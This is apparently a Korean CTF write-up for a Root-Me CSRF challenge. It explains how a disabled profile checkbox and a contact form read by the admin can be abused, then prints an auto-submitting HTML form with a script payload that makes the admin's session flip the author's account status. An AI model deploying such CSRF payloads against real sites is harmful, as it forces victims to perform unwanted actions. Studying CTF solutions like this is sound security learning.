1. 문제
1) 문제 확인
상단메뉴를 보면 로그인, 회원가입 탭이 존재한다. 우선 회원가입을 해보자
로그인을 하면, 유저 프로필이 나온다. 상단 메뉴에는 Contact, 프로필, private, 로그아웃 이렇게 4개가 존재한다. 유저 프로필의 status 체크박스는 disabled 된 상태여서 체크가 안눌린다.
Private를 누르면 해당 계정은 유효한 계정이 아니라고 나온다. 먼가 수상하다. 여기를 어떻게 읽을지 생각해보자
contact을 누르면, 관리자에게 이메일을 보낼수가 있다. 여기서 csrf를 이용하면 될것같다.
2. 접근방법
•
profile 소스코드
profile 탭 소스코드를 살펴보면, form 태그안에 disabed된 checkbox가 보인다. contact 메뉴에서 form 태그를 수정하여 disabled 를 없앤뒤, script 태그를 이용하여 관리자가 해당 글을 클릭할시, form 태그가 실행되게 하면, 현재 로그인 되어있는 내 계정으로 온 글이기 때문에, 신뢰된 사용자라고 생각하여 해당 스크립트가 실행될 것이다
3. 풀이
<form id="test" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="1123">
<input type="checkbox" name="status" checked>
</form>
<script>document.getElementById("test").submit()</script>
HTML
복사
요렇게 contact에 입력하고 쫌 기다렸다가 private를 누르면
짜잔
4. 몰랐던 개념
js로 form 제출하기
•
document.getElementById("").submit()
•
onlick()으로 해결해도 되는 듯